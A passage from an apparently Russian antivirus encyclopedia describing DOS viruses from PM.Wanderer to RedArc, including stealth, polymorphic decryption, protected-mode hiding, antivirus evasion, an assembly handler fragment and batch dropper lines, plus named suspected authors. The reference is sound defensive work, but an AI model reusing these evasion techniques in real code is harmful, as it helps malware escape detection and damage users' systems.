вируса могут не заражать следующие файлы: AVP,AVPLITE,AVPVE,BAIT,EICAR,
EMM386, F-PROT, FV386, FV86, MSAV, MVTOOL10, SCAN, TBSCAN,TBAV,TBCHECK,
TBCLEAN, TBDISK, TBDRIVER, TBFILE, TBGENSIG, TBKEY,TBLOG,TBMEM,TBSETUP,
TBSCANX,TBUTIL,VALIDATE,VIRSTOP,VIRUS,VPIC,VSAFE. Ply.4722, 5133, 5175
удаляют файл \NCDTREE.
PM.Wanderer
Неопасный резидентный полиморфный вирус, использующий защищенный
(виртуальный) режим процессоров i80386-Pentium. Для установки своей
резидентной копии в память и переключения в защищенный режим процессора
(Protected Mode) использует документированный интерфейс VCPI (Virtual
Control Programm Interface) драйвера расширенной памяти EMS (EMM386).
Вирус заражает COM и EXE-файлы при их запуске или открытии (f.4b00h,
f.3dh Int 21h). При старте инфицированной программы, вирусный
полиморфный декриптор расшифровывает основное тело вируса и передает
ему управление. Далее основной вирусный код выделяет участок памяти в
верхних адресах, копирует в него собственный код и передает ему
управление. Затем он восстанавливает код инфицированного файла в
программном сегменте (для EXE-файлов также производит настройку адресов
перемещаемых элементов) и приступает к непосредственному внедрению
в память своей резидентной копии. Первым делом вирус пытается выяснить
установлен ли в системе драйвер EMS. Для этого он получает адрес
прерывания INT 67h и проверяет наличие строки EM* в заголовке драйвера.
Далее вирус проверяет не находится ли уже в памяти его резидентная
копия - вызывает функцию AX=0BABAh INT 21h и проверяет ответ AX=0FA00h.
Если драйвер EMS не установлен в системе или вирусная резидентная копия
уже находится в памяти, а также в дальнейшем -при отсутствии интерфейса
VCPI, вирус освобождает ранее выделенную память и отдает управление
программе-вирусоносителю, заканчивая тем самым свою "жизнедеятельность"
в системе. Если же "условия флоры" благоприятствуют, то вирус
"перехватывает" INT 01 и трассирует INT 21h с целью нахождения
определенной последовательности байт, присутствующих в оригинальном
обработчике INT 21h MS - DOS версий 5.00 - 7.00. Если данная
последовательность обнаружена, то вирус запоминает адрес ядра
обработчика INT 21h, обычно расположенного в области HMA. В дальнейшем
вирус будет использовать этот адрес для вызова INT 21h при заражении
файлов. Дальнейшие действия вируса - проверка наличия в системе
интерфейса VCPI и получение 4-ех адресов страниц памяти. Затем вирус
получает адрес интерфейса VCPI, таблицу страниц и адрес глобальной
дескрипторной таблицы GDT (Global Descriptor Table), состоящей из трех
элементов (первый - дескриптор сегмента кода, два другие - используются
драйвером VCPI). Вирус записывает в таблицу страниц ссылку на страницы,
выделенные им драйвером VCPI, получает физический адрес страницы памяти
сегмента, в котором вирус в данный момент находится. Потом получает
регистры глобальной дескрипторной таблицы GDT и дескрипторной таблицы
прерываний IDT (Interrupt Descriptor Table). Далее вирус создает три
собственных дескриптора (кода и данных) и дескриптор сегментов
состояния задачи TSS (Task State Segment) в глобальной дескрипторной
таблице GDT, подготавливает значения для регистров CR3, GDTR,IDTR,LDTR,
TR и адрес CS:EIP точки входа в защищенный режим и производит
переключение процессора в защищенный режим работы с наивысшим уровнем
привилегий - 0. В защищенном режиме вирус корректирует таблицу GDT,
создавая в ней два собственных дескриптора сегментов и производит поиск
дескриптора TSS. После чего вирус устанавливает две аппаратные
контрольные точки по командам (Breakpoints) на первый байт кода
обработчика INT 21h (адрес 0000:0084h) и на первый байт кода в BIOS по
адресу 0FE00:005Bh (линейный адрес 0FE05Bh). Обычно в BIOS по адресу
0FE00:005Bh находится команда перехода (Near Jump) на процедуру
перезапуска компьютера. Затем вирус корректирует дескрипторную таблицу
прерываний таким образом, чтобы установить на прерывания: 1 (особый
случай отладки) и 9 (клавиатура) собственные дескрипторы обработчиков
данных прерываний. После этих приготовлений вирус копирует свой код
в страницу памяти, полученную им еще до входа в защищенный режим и
производит переключение процессора в виртуальный режим работы.
Вирусный обработчик INT 09 производит контроль за наличием и (или)
восстановлением своих двух контрольных аппаратных точек. А также,
данный обработчик отслеживает нажатие на Ctrl-Alt-Del и в этом случае
"сбрасывает" все аппаратные контрольные точки. Вирусный обработчик
особого случая отладки проверяет произошло ли нарушение одной из двух
"вирусных" контрольных точек по адресу команды.Если управление в данный
обработчик попало из точки, находящейся "на процедуре" в BIOS -
перезагрузки компьютера, то вирус сбрасывает все аппаратные контрольные
точки, так же, как и обработчик INT 09 при нажатии на Ctrl-Alt-Del.
Если же нарушение вызвано контрольной точкой оригинального обработчика
INT 21h, то вирус анализирует значение регистра AX (или AH) с целью
определения функции прерывания INT 21h и в зависимости от этого
предпринимает различные действия. Если AX=0BABAh, то вирус считает, что
данный вызов исходит от его "собрата",записывает в AX значение 0FACCh и
возвращает управление оригинальному обработчику INT 21h. Если AX=3506h
(получить адрес прерывания INT 06;обычно такой вызов существует во всех
программах, написанных на языках высокого уровня: C, Pascal,...), то
вирус пытается найти в пространстве линейных адресов 0-90000h некоторую
последовательность байт, очевидно, принадлежащих программе ADinf
(Дмитрию Мостовому - автору ADinf, не удалось найти такую версию ADinf
от 10.00 до 11.01, в которой данная последовательность байт бы
присутствовала). Если данная последовательность будет вирусом найдена,
то он неким образом модифицирует найденный код, так, чтобы управление
не попадало на вызов какой-то межсегментной процедуры. Если AX=4B00h
(запуск программы) или AH=3dh и AL не равно ?Fh (открытие файла только
на чтение), то вирус копирует свой код по адресу 9000:0000h (линейный
адрес 90000h),переключает процессор в виртуальный режим работы и отдает
управление своему коду, находящемуся в пределах первого мегабайта в
сегменте 9000h. Вирус проверяет последние две буквы расширения имени
файла и производит создание своей полиморфной копии и заражение файлов
размером более 4K. Причем вирус внедряет свой код в начало COM или в
середину (сразу же за заголовком) EXE-файлов, запоминая оригинальный
программный код в конце файлов."Реальный рабочий код" вируса составляет
3684 байт, но на практике инфицированные файлы имеют приращение длины
более 3940 байт.При возникновении любой ошибки в процессе заражения или
при выходе из виртуального режима процессора вирус вызывает INT 21h с
AX=4B00h для вызова особого случая исключения и возвращения управления
оригинальному обработчику INT 21h. Вирус в своем теле содержит текст
"WANDERER,(c) P. Demenuk". По этой строке, видимо,можно сделать выводы,
что автором данного "шедевра" следует считать московского человека -
Петра Деменюка. Через три года Петя создал все-таки свой новый
"великолепный продукт, достойный восхищения...".
Из всего вышесказанного следует, что обнаружить резидентную копию
данного вируса, находящегося в нулевом кольце защищенного режима
процессора обычными способами невозможно. Для обнаружения вируса в
памяти необходимо переключаться в защищенный режим с наивысшими
привилегиями и по таблицам GDT или IDT производить его поиск. Но
попытаться обнаружить признаки вируса в системе можно и обычными
способами. Для этого необходимо прочитать линейные адреса двух первых
аппаратных контрольных точек (0 и 1) и сравнить их со значениями,
которые описаны выше. На основании наличия определенных адресов и
делается вывод о возможности нахождения вируса PM.Wanderer в памяти
компьютера.
Теперь немного о результатах тестирования. При заражении нескольких
тысяч файлов-жертв вирус проявил себя, как "жилец" - все зараженные
файлы оказались работоспособными. Здесь надо только сделать поправку -
файлы могут оказаться неработоспособными в том случае, если их стек
после заражения окажется в области вирусного кода. PM.Wanderer при
заражении файлов не корректирует значения стартовых SS:SP. Как уже
отмечалось выше, вирус сохраняет способность к воспроизводству,только в
том случае, если в системе установлен драйвер EMS (EMM386). При
установленном драйвере EMM386 с ключом NOEMS, вирус перезагружает
компьютер. Компьютер также может перезагрузиться, если в системе
используется драйвер QEMM386. Самое интересное в том,что если в системе
находился резидентный вирус, а потом произошла загрузка Windows 3.1x
или Windows'95, то вирус не сможет размножаться в данных операционных
средах, но при выходе в DOS, вирус опять получает управление и может
"трудиться не покладая рук". Если же вирус будет запущен в Windows DOS-
окне, то из-за отсутствия интерфейса VCPI вирус не сможет переключиться
в защищенный режим. Под OS/2 вирус - нежизнеспособен, также из-за
отсутствия VCPI. В заключение стоит отметить, что это первый известный
вирус (причем, российский), использующий защищенный (виртуальный) режим
работы процессора и не конфликтующий с операционными системами "от
Microsoft", работающими также в защищенном режиме.
PME - вирусы
PME (Phantasie Mutation Engine) - полиморфные генераторы вирусных
шифровщиков и расшифровщиков. Создан китайским вирусописателем по
кличке Burglar. Существуют две версии данного генератора. Они содержат
тексты:
PME v1.00 (C) Jan 1995 By Burglar
PME v1.01 (C) Feb 1995 By Burglar
PME.Burglar
Опасный резидентный полиморфный вирус. Иногда вешает систему и выводит
текст:
Hello! This is [Super Virus-2] ... written by Burglar in Taipei, Taiwan
Pojer.1941, 4028
Неопасные резидентные шифрованные (Pojer.4028 - полиморфный) вирусы. 17
ноября и 6 февраля выводят на экран тексты:
Pojer.1941:
** B R A I N 2 v1.40 **
WARNING ! Your PC has been WANKed !
"" 17.11.1989 ""
Viruses against political extremes , for freedom and parliamentary democrac
"" STOP LENINISM , STOP KLAUSISM , STOP BLOODY DOGMATIC IDEOLOGY !! ""
Remarks:
- for John McAfee: John,your SCAN = good program.
- for CN and his company:
Boys,the best ANTI-VIRUSES are Zeryk,Saryk and Vorisek !
- for F : Girls are better than computers and programming !
This program is copyright by SB SOFTWARE All rights reserved.
O.K. Your PC is now ready !
Pojer.4028:
** BRAIN2 v2.00beta - upgrade from POJER **
BETA tester, thank you,
.. have a nice day in cyberspace ...
This crazy program is (c) 12/93 by SB
Polimer.512
Неопасный нерезидентный вирус. При старте вирус выводит сообщение
"A legjobb kazetta a POLIMER kazetta ! Vegye ezt !". Содержит строку
"ERROR".
Polska.4004
Неопасный вирус. В 1994 году 7 и 23 числа каждого месяца до июля
выводит в графическом режиме поднимающийся на флагштоке развивающийся
бело-красный польский флаг, на котором написано "TERAZ POLSKA" и в
левом вернем углу текст:
TERAZ POLSKA v2.0
produced by NoName
All rights reserved
(c) 93.12.22 POLAND
Poro.1257
Опасный резидентный вирус. С 15 по 25 сентября выводит на экран текст:
С Днем рождения, Аллочка !
Наилучшие пожелания твоему Hard Disk'у !
При записи на диск (f.03 Int 13h) вирус пытается найти словосочетания
"Bori", "BORI", "Бори" и "БОРИ" и заменить их соответственно на "Poro",
"PORO", "Поро" и "ПОРО". Содержит зашифрованный текст "Turbo Bugger (C)
1994 Dedicated to Alla R. Borisyuk ( МЕХ-МАТЬ 307 )".
Poruchik.2774
Написан для процессора 386. Устанавливается резидентно в верхние адреса
памяти. При смене директория (f.3Bh INT 21h) вирус производит поиск
файлов *.exe и заражает их. Содержит текст: "Поручик Лозинский,
раздайте Aidstestы".
Possessed.2175, 2367, 2438, 2443, 2446 (1,2)
Опасные резидентные вирусы. Иногда удаляют файлы. Рисуют на экране в
графическом видеорежиме улыбающееся лицо. Выводят текст "POSSESSED!
Bwa! ha! ha! ha! ha!". Также содержат строку "Author: JonJon Gumba of
AdU".
Predator.1063,1072 (2),1137,1148,1154,1195
Опасные резидентные самошифрующиеся, кроме Predator.1063, вирусы.
Перехватывают INT 21h и INT 13h. При чтении секторов через INT 13h
вирусы могут испортить значение одного случайно выбранного бита в
буфере считанных секторов. Содержат текстовые строки:
Predator.1072 (1): Predator virus (c) Mar. 93 Priest
Predator.1072 (2):
Predator Strain B (c) 1993 Priest - Phalcon/Skism
Predator.1063,1137,1148,1154,1195:
Predator virus (c) Mar. 93
In memory of all those who were killed...
Wookies ain't the only ones that drop! Priest
Predator.2448
Резидентный файлово-загрузочный полиморфный вирус. При старте
инфицированного файла трассирует INT 13h и INT 21h, становится
резидентно в верхних адресах памяти. Может "внедриться" в оригинальный
обработчик INT 21h, произведя изменение его 5ти первых байт. Заражает
MBR и Boot-сектора дискет, причем загрузочный сектор диска шифрует и
"прячет": для жесткого диска в секторе 2, для дискет - в первом секторе
последней дорожки. Содержит текстовую строку: Predator virus #2 (c)
1993 Priest - Phalcon/Skism
Pretentious.680
Неопасный нерезидентный вирус. Иногда выводит на экран текст:
Windows 95 may be dangerous.
OS/2 is the best operating system!
I`ll prove it soon...
Также содержит строку "* Gdynia 1996 * v1.0 *".
Priest.1416
Нерезидентный очень опасный вирус. Заражает COM и EXE-файлы в текущей
директории. Если номер месяца совпадает со значением дня, то вирус
считывает 9 первых секторов жесткого диска в память, уничтожает их на
диске, а затем выводит текст:
Я великий вирус ЖРЕЦ !!! Только что я стер ваши BOOT,MBR и FAT.
Не расстраивайтесь ,эта жертва будет принесена только если
вы не отгадаете загадку (отвечайте латинскими буквами) :
Какой в КМУГЕ самый лучший факультет :
Если ответить, что fareo, то вирус восстановит первые сектора диска.
Также в 16 часов вирус может вывести сообщение:
"Hello i'm virus Crazy Priest !!!
Мне очень жаль,но в жертву был принесен файл " - дальше идет имя файла.
В данный файл вирус будет записывать случайную информацию, до тех пор,
пока не будет нажата клавиша "Space" - "Пробел". 15 августа выводит
текст: "HAPPY BIRTHDAY CRAZY !!!".
Printerceptor
Опасный резидентный стелс-вирус-спутник. Перехватывает INT 21h.
Блокирует вывод на принтер. Содержит строку "Printerceptor".
Privet.1152
Неопасный резидентный вирус. При старте может вывести текст "привет
всем". также содержит тексты "*.exe skh", "плохо дело".
Problem.734, 845, 854, 856, 857, 863
Неопасные резидентные вирусы. Problem.854, 856, 863 содержат текст
"THIS IS YOUR PROBLEM !", Problem.857 - "by Mojo Risin for 1605",
Problem.845 - "dATA kILLER !".
Procuror
Очень опасный Boot-вирус. Имеет различные загрузчики для жестких и
гибких дисков. При загрузке с гибкого диска может отформатировать
начальную дорожку первого жесткого диска. Оригинальный MBR шифрует и
прячет в 7 секторе первой дорожки. Для гибких дисков оригинальный
Boot-сектор и 2 сектора своего продолжения записывает в последние 3
сектора последней дорожки. При загрузке с флоппи-диска прехватывает INT
1Eh и INT 13h. При загрузке с "винчестера" перехватывает INT 08h
(таймер), INT 13h, INT 17h (вывод на принтер). При выводе на принтер
цифр 0-4, вместо них выводит значения увеличенные на 1, вместо цифры 5
выводит 0. Примерно через 30 минут работы после загрузки в буфер
клавиатуры помещает слово "PROCUROR". Может изменить значение часов
реального времени в CMOS-памяти.
Prohibit.1500
Неопасный резидентный шифрованный стелс-вирус. При открытии файла вирус
удаляет свой код из файла, при его закрытии снова заражает его. Иногда
выводит текст "Will see you next time . Stone 93". Также содержит текст
"Prohibit MARYJUANA".
Promiscuo.2725
Опасный резидентный полиморфный вирус. Уничтожает файлы ANTI-VIR.DAT,
CHKLIST .MS, CHKLIST.MS,THIMAGEN.ARC,ACUARIO.SEX,TH.RPT.Содержит тексты
"pRoMiScUo ViRuS DeDiCaDo A ToDaS MiS MuJeReS!!","(c)1996 por pRoMisCuO
sExUaL!!".
PrtSc.1024 (1,2)
Неопасный резидентный вирус. Свое название получил за "перехват" INT 05
(Print Screen).
Punisher.1632
Неопасный резидентный шифрованный вирус. Имеет строку "The Punisher-I".
Puppet.487
Неопасный резидентный шифрованный вирус. Содержит текстовую строку
"[PS/G¤] eMpIrE-X [G¤ The Puppet Masters 3 Virus]".
Q.8Ball (1,2)
Неопасные резидентные вирусы.Заражают загрузочные сектора дискет и файл
C:\CONFIG.SYS. При загрузке системы с инфицированного флоппи-диска
вирусы копируют себя в область видеопамяти B800:7C00, "перехватывают"
INT 1Ah (BIOS time and date), "ждут" вызова данного прерывания, после
чего "перехватывают" INT 21h и "освобождают" INT 1Ah. После вызова
любой функции INT 21h (кроме запуска программ - AH=4Bh) вирусы создают
файл со случайным именем (f.5Ah Int 21h) на диске C:, записывает в него
свой код и внедряют в конец файла c:\config.sys строку вызова данного
файла, типа INSTALL=C:\ABCD.FGH (Q.8ball (1)) или DEVICE=C:\IJKL.MNO
(Q.8ball (2)). После этого или после функции EXEC (f.4Bh Int21h)
вирусы восстанавливают оригинальный адрес обработчика INT 21h. При
запуске файла, указанного в файле CONFIG.SYS, вирусы копируют себя в
область памяти HMA и "перехватывают" INT 40h для заражения загрузочных
секторов дискет. Q.8ball (1) содержит текст "8_Ball -=Q=-".
Q.IOwe
Неопасный вирус. Заражает файл IO.SYS, если он содержит в начале
последовательность 261 повторяющихся нулевых байт. Вирус записывает
свой код в область нулей и устанавливает на себя первую инструкцию
файла IO.SYS (короткий JUMP - EB 05). При старте такого инфицированного
файла, вирус копирует свое тело в область видеопамяти BE00:0000,
"перехватывает" INT 1Ah (BIOS time and date), "ждет" вызова данного
прерывания, после чего "перехватывает" INT 21h и "освобождает" INT 1Ah.
После вызова любой функции INT 21h (кроме запуска программ - AH=4Bh)
вирус пытается заразить файл C:\IO.SYS указанным выше способом. После
заражения данного файла или после функции EXEC (f.4Bh Int21h) вирус
восстанавливает оригинальный адрес обработчика INT 21h. Содержит тексты
"I OWE" и "-=Q=-".
Q.Shimmer (1,2)
Неопасные вирусы. Заражают файл C:\WINDOWS\WINSTART.BAT и загрузочные
сектора дискет. При загрузке системы с инфицированного флоппи-диска
вирус копирует себя в область видеопамяти B800:7C00, "перехватывает"
INT 1Ah (BIOS time and date), "ждет" вызова данного прерывания, после
чего "перехватывает" INT 21h и "освобождает" INT 1Ah. После вызова
любой функции INT 21h (кроме запуска программ - AH=4Bh) вирус создает
файл WINSTART.BAT в каталоге C:\WINDOWS, если таковой существует и не
содержит данного файла. В файл WINSTART.BAT вирус записывает свой код,
содержащий текстовые строки:
@ECHO PKX"INSTALL.EXE
@COPY/B INSTALL.EXE+%0.BAT"NUL
@INSTALL.EXE
После которых идет основное вирусное тело, состоящее из ассемблерных
инструкций. При запуске такого файла, происходящего, как правило, при
старте MS-Windows, вирус создает файл INSTALL.EXE из 5 текстовых байт
и собственного кода из файла WINSTART.BAT. Данный файл INSTALL.EXE
запускается вирусом. Первые 5 текстовых байт файла INSTALL.EXE
понимаются процессором, как ассемблерные команды: PUSH AX, DEC BX, POP
AX, OR AX, ??0A, после которых управление попадает в основной код
вируса. Вирус проверяет установлена ли его резидентная копия в памяти,
копирует себя в область HMA и "перехватывает" INT 2Fh. При получении
управления через INT 2Fh, вирус "перехватывает" INT 40h для заражения
загрузочных секторов флоппи-дисков. Q.Shimmer (2) пытается послать
в любой доступный из 4 последовательных портов последовательность
модемных команд "~ATM0L0S0=1O1". Q.Shimmer (1) содержит текст "New
Shimmer".
Qawo.719
Неопасный резидентный вирус. Вроде бы, содержит зашифрованную строку
"Qawo".
Qmu.1513
Опасный файлово-загрузочный вирус. Заражает MBR жесткого диска и COM-
файлы. При старте инфицированного COM-файла вирус устанавливает в
память свою резидентную копию и выводит сообщение "Bad command or file
name". При 100-й загрузке с инфицированного жесткого диска уничтожает
16 его первых секторов. При каждом 256-м чтении с диска (f.2 Int 13h)
подставляет в считанный блок по адресу 0C8h слово "mj".
Qudem.555
Неопасный резидентный вирус. Содержит тексты "Quick Demon 2", "Dr.WEB
меня не находит-обманули !".
Query
Опасный загрузочный вирус. В декабре уничтожает информацию на жестком
диске.
Quox
Опасный загрузочный вирус. При заражении MBR может записать
оригинальный MBR в сектор, содержащий данные.
Radio101.1000
Неопасный шифрованный вирус. Примерно, через 53 минуты после старта
вирус выводит текст "Pадио 101". Содержит текстовую строку "Без
паники-идем ко дну!Ver 2.01".
Radio101.2076
Неопасный полиморфный резидентный вирус.Примерно, через 5 минут после
старта вирус выводит текст "Радио 101-наслаждение даже при половине
громкости!". При нажатии на Ctrl-Del или Alt-Del вирус выводит текст:
---------------------------------------
BERZIN FANS CLUB PRESENT
-- -- -- -- ------ ------ -------
--- --- -- -- -- -- -- -- --
-- - - -- -- --- -- -- ----- -- --
-- - -- -- - -- ------ -- -------
-- -- --- -- -- -- -- --
-- -- -- -- -- ------ -- --
TEL:(095)434-00-00 OR 03
---------------------------------------
Raiden.1433
Неопасный файлово-загрузочный вирус. Заражает MBR жесткого диска и EXE-
файлы. При старте инфицированной программы с некой командной строкой
(вирус считает CRC данной строки), вирус может произвести самолечение
данной программы. В вирусе существует код вывода сообщения:
г=======================================¬
¦ MBR VIRUS V.01 NECROSOFT CORPORATION ¦
¦ WRITEN BY RAIDEN COPYRIGHT (C) 1996 ¦
L=======================================-
Rain
Опасный загрузочный вирус. В 19:15 уничтожает 2 сектора на головке-1,
цилиндре-0 и с сектора-1, где, как правило, находится загрузочный
сектор активного раздела, записывая туда вирусный код. Содержит текст
This is only a demo version made for Germany. New versions coming soon.
Written in the rain..
Rake.975
Неопасный резидентный вирус. Пытается не заражать файлы, содержащие в
своем теле строки "ИРУС", "IRUS", "виру" или "viru". Может перемещать
свою резидентную копию по различным адресам памяти.
RaseK.1489, RaseK.1490, RaseK.1492
Очень опасные файлово-загрузочные вирусы. Заражают COM, EXE-файлы и MBR
жесткого диска. Также внедряют деструктивный код в Boot-сектора дискет,
не сохраняя оригинальный сектор. При загрузке с такого флоппи-диска вся
информация на первом жестком диске будет уничтожена. Вирусы также могут
уничтожить информацию на "винчестере" при загрузке с жесткого диска.
Вирусы перехватывают INT 13h и INT 21h. Используют стелс-механизм при
попытке чтения MBR, скрывают приращение длины зараженных файлов. Не
заражают файлы, содержащие строку AND.COM (COMMAND.COM). В теле вирусов
присутствуют строки:
RaseK.1489 - "RaseK v2.1,from LA CORUеА(SPAIN).Mar93";
RaseK.1490 - "RaseK v2.0,from LA CORUеА(SPAIN).Mar93";
RaseK.1492 - "RаseКо v3.1,from La Coruда(SPAIN).Ap93".
Raving.2300
Опасный нерезидентный вирус, создающий новые COM-файлы вместо
найденных. Выводит приглашение "C:\"", после чего ждет нажатий на
клавиши и выводит случайные символы вместо введенных. После этого
выводит текст:
I DON'T THINK YOU WOULD LIKE TO SMILE, BECAUSE I HAVE INFECTED A FILE!!!
HAVE YOU HEARD OF A RAVING VIRUS MC, YES YOU GUESSED IT THAT IS ME!!!
YOU WONT SEE ANOTHER RHYME UNTIL IT IS INFECTING TIME!!!
RDA.Fighter.5871, 5969, 7408, 7802, 7868
RDA.Fighter.5871, 5969, 7802, 7868 -это резидентные сложнополиморфные
вирусы, заражающие файлы в формате COM и EXE. RDA.Fighter.7408 -
файлово-загрузочный полиморфный вирус (заражает COM, EXE-файлы и MBR
жесткого диска), скрывающий приращение свой длины в инфицированных
файлах. RDA.Fighter.7802 помимо полиморфных расшифровщиков имеет также
полиморфный механизм случайной расшифровки собственного кода. При
неаккуратной трассировке RDA.Fighter.5969, 7408 могут уничтожить
случайные сектора на жестком диске. Получив управление, основной
расшифрованный код вирусов получает из часов реального времени
случайное 32 разрядное значение, используемое вирусами для расшифровки
еще одного своего участка кода. После всевозможных умножений, делений,
сложений, вычитаний из 32хразрядного случайного числа получается
базовое 16 разрядное случайное число в регистре AX. Это число
умножается на 2 в регистре DI. Этот регистр DI будет указывать точку
входа в таблицы комбинаций вирусных расшифровывающих команд. Существует
2 таблицы по 16 комбинаций расшифровывающих команд, некоторые из
которых повторяются. Эти таблицы представлены ниже. Назовем эти
таблицы: "первая" и "зеркальная".
Первая таблица Зеркальная таблица
XOR [BX], DX NOT [BX] ;в данных таблицах регистр
ROR [BX], CL NEG [BX] ;BX указывает на код, для
............ .......... ;которого производится
NEG [BX] ROR [BX], DX ;расшифровка
NOT [BX] XOR [BX], DX
Далее, на основе установленных бит 16 разрядного числа в регистре AX,
выбирается расшифровывающая команда из первой таблицы, в зависимости от
регистра DI. Например, если нулевой бит установлен в 1, то берется
команда из таблицы (команду в таблице выбирает регистр DI), которая
копируется в тело расшифровщика с помощью антиотладочных команд
манипуляции стеком. В тело расшифровщика также заносится некоторая
первоначальная константа, с помощью которой могут производиться
операции расшифрования, и которая в цикле расшифровки будет динамически
изменяться по определенному закону. Данный закон направлен против
отладчиков. По окончании цикла данной расшифровки значение регистра DI
устанавливается на следующую команду в первой таблице. Потом данная
операция производится для всех установленных битов в 16 разрядном
значении AX. Если какой-либо бит не установлен, то цикл не проводится,
а значение DI передвигается на следующую команду. Если указатель DI
выходит за рамки последней 16 команды в таблице, то его значение
устанавливается на первую команду таблицы. Как только все биты в AX
исчерпаны, вирусы приступают к проверке того, что они всеми этими
хитроумными комбинациями расшифровали. Делают они это также хитроумным
способом. Они подсчитывают контрольную сумму расшифрованного участка
кода в зависимости от участка кода, который не был зашифрован. Подсчет
CRC производится "веером", от границы расшифровки и вверх, и вниз
подсчитывается 48 разрядное значение. При подсчете CRC используются
всевозможные команды пересылки, ADD, XOR,... Причем, вирусы
RDA.Fighter.5969, 7408 использует еще и дополнительную динамическую
корректировку CRC с помощью INT 01. А вирус RDA.Fighter.7408
дополнительно имеет 4 различных варианта подсчета CRC, меняющихся от
копии к копии. Полученное значение CRC хранится в регистрах AX, BP и
DX. Регистр BP складывается с числом, хранящимся в теле вируса,
корректируется относительно нахождения базовой точки вируса в памяти и
значение по смещению BP сравнивается с полученным значением DX. Причем,
в случае правильной расшифровки смещение хранения CRC должно находиться
в ранее зашифрованной области вируса. Если полученное значение CRC не
совпадает со значением DX, то вирусы повторяют описанную выше
комбинацию, только в качестве таблицы расшифровывающих команд теперь
будет использоваться зеркальная таблица. А делается это для того, чтобы
возвратить в исходное состояние ранее расшифрованную по "неправильному"
закону область вирусного кода. После того, как вирус возвратит все в
исходное состояние, попытка "правильной" расшифровки повторяется
сначала, начиная с получения случайного числа в регистре AX, и
использования в качестве базовой - первой таблицы расшифровывающих
команд. Вирусы будут "прокручивать" весь цикл с 16 разрядами регистра
AX, потом тот же вариант повторять с зеркальной таблицей и т.д., до тех
пор, пока, наконец, они не удостоверятся, что все расшифровалось
правильно. Но, так как, вирусы постоянно "следят" за отладчиком,
следует помнить, что в разрывах между попытками расшифровки вирусного
кода можно угодить в "опасный" код, уничтожающий информацию в секторах
жесткого диска, описанный выше. RDA.Fighter.7802, 7868 "разбавляют"
инструкции кода случайной расшифровки командами-"мусором" (такие
команды, которые не влияют на результат расшифровки). А также "первая",
и соответствующая ей "зеркальная" таблица, будут отличаться для каждого
экземпляра вирусов RDA.Fighter.7802, 7868.
Вирусы иногда выводят на экран тексты:
RDA.Fighter.7408:
"Stealth Fighter 2.0 : New Aggression."
RDA.Fighter.7802:
"Stealth Fighter DEMO Part (3.1) : Enemy Unknown"
RDA.Fighter.7868:
"Stealth Fighter,DEMO Part (3.2) : Next mutation 06/09/95"
RDA.Fighter.7408 заражает еще и Master Boot Record (главный загрузочный
сектор) жесткого диска.
Резидентные части вирусов контролируют функции запуска программ (
AX=4B00h) и открытия файлов (AH=3Dh). RDA.Fighter.5969 также
контролирует функцию переименования файлов (AH=56h). При вызове данных
функций вирусы пытаются заразить файлы, длина которых не меньше, чем
4096 байт. RDA.Fighter.7408, 7802, 7868 дополнительно контролируют
функции поиска файлов (AH=11h,12h,4Eh,4Fh) и скрывают приращение своей
длины у инфицированных файлов. В конце каждого зараженного файла
RDA.Fighter.7408, 7802, 7868 хранят 2 байта размера вирусного кода,
внедренного в данный файл. RDA.Fighter.7408, 7802, 7868 "перехватывают"
также INT 08 и несколько замедляют работу компьютера. Резидентная
активная копия вируса RDA.Fighter.7408 при вызове функции AX=0EEEEh
удаляет свой код из MBR жесткого диска. RDA.Fighter.7408, 7802, 7868
при вызове данной функции также и обезвреживает себя в памяти.
Резидентные копии вирусов используют очень мощный помехозащищенный
алгоритм восстановления собственного кода, позволяющий не допустить
отладку кодов вирусов с использованием отладочных точек останова.
Мало того, вирусы "ради шутки" пытаются ввести в заблуждение, внедряя
сразу в свои обработчики INT 21h инструкцию выхода из прерывания- IRET!
Но оригинальные байты обработчика вирусы сами же и исправляют с помощью
помехозащищенного алгоритма восстановления. Начальный код вирусных
обработчиков INT 21h выглядит следующим образом (ниже представлен
обработчик INT 21h вируса RDA.Fighter.5969):
PUSH AX
INC AH
CMP AX,4C00 ;запуск программы?
JE CHECK_FILES
CMP AH, 3E ;открытие файла?
JE CHECK_FILES
CMP AH, 57 ;переименование файла?
JE CHECK_FILES
DESTROY_HANDLER:
POP AX
JMP DWORD PTR CS:[ADR_INT21] ;выход в оригинальный INT 21h
CHECK_FILES:
CALL CHECK&RESTORE ;проверка и восстановление
MOV CS:DESTROY_HANDLER, 90CF ;вместо POP AX установить IRET?!
MOV CS:DESTROY_HANDLER+2, AX ;и регистр AX (4C00 или 3E??)
CALL CHECK&RESTORE ;проверка и восстановление
CALL CHECK_FILE_NAME ;а здесь уже никакой команды IRET
;не будет!
Вирусы не заражают следующие файлы *ES?.* (AIDSTEST.EXE), *WE?.*
(WEB.EXE), *AN?.* (COMMAND.COM). RDA.Fighter.7408 при старте программы
CHKDSK "выключает" свой механизм скрытия истинной длины зараженных
файлов. После завершения ее работы - снова "включает". В процессе
инфицирования вирусы устанавливают свой обработчик критических ошибок
INT 24h, дисковый обработчик INT 13h, если в системе нет дискового кэша
и устанавливают обработчики INT 01 (пошаговое выполнение команд), INT
03 (точка останова) и INT 2Ah (Microsoft network) на свои обработчики,
содержащие единственную инструкцию - IRET. При заражении файла, вирусы
случайным образом выбирают (таким же, как и при определении регистра AX
при попытках расшифровки своего кода) смещение и размер области,
которая будет зашифрована в инфицируемом файле. Данная шифровка
предназначена, видимо, для невозможности восстановления файлов
специальными антивирусными утилитами (ADinfExt, TbClean,..).
Вирусы содержат следующие тексты:
RDA.Fighter.5871 -
RandomDecodingAlgoritm 1.0
"Stealth Fighter PART I" devoted MSU!
RDA.Fighter.5969 -
RandomDecodingAlgoritm 1.1
"Stealth Fighter PART I (1.1) for ALL."
RDA.Fighter.7408 -
"RandomDecodingAlgoritm 2.0"
"PhantomPolymorphicMultiLayerEngine 1.2"
RDA.Fighter.7802 -
"RandomDecodingAlgoritmEngine 1.0"
"PhantomPolymorphicMultiLayerEngine 1.2"
RDA.Fighter.7868 -
"RandomDecodingAlgorithmEngine 1.1"
"PhantomPolymorphicMultiLayerEngine 1.2"
RedArc - вирусы
Вирусы, изготовленные тульским "умельцем" Игорем Дикшевым 2:5022/12.23,
известным более под кличкой Red Arc.
RedArc.Fraud
Неопасный нерезидентный вирус. Заражает EXE-файлы, внедряя свой код в
начало файлов (переводя их в COM-формат), а зашифрованные оригинальные
начальные байты переносит в конец файлов. При старте такого файла,
вирус производит поиск и заражение EXE-файлов. После чего, если было
произведено хоть одно заражение, вирус восстанавливает файл-жертву в
исходное состояние ("самоизлечивается") и выводит текст "Bad command or
file name".
RedArc.Helga.666
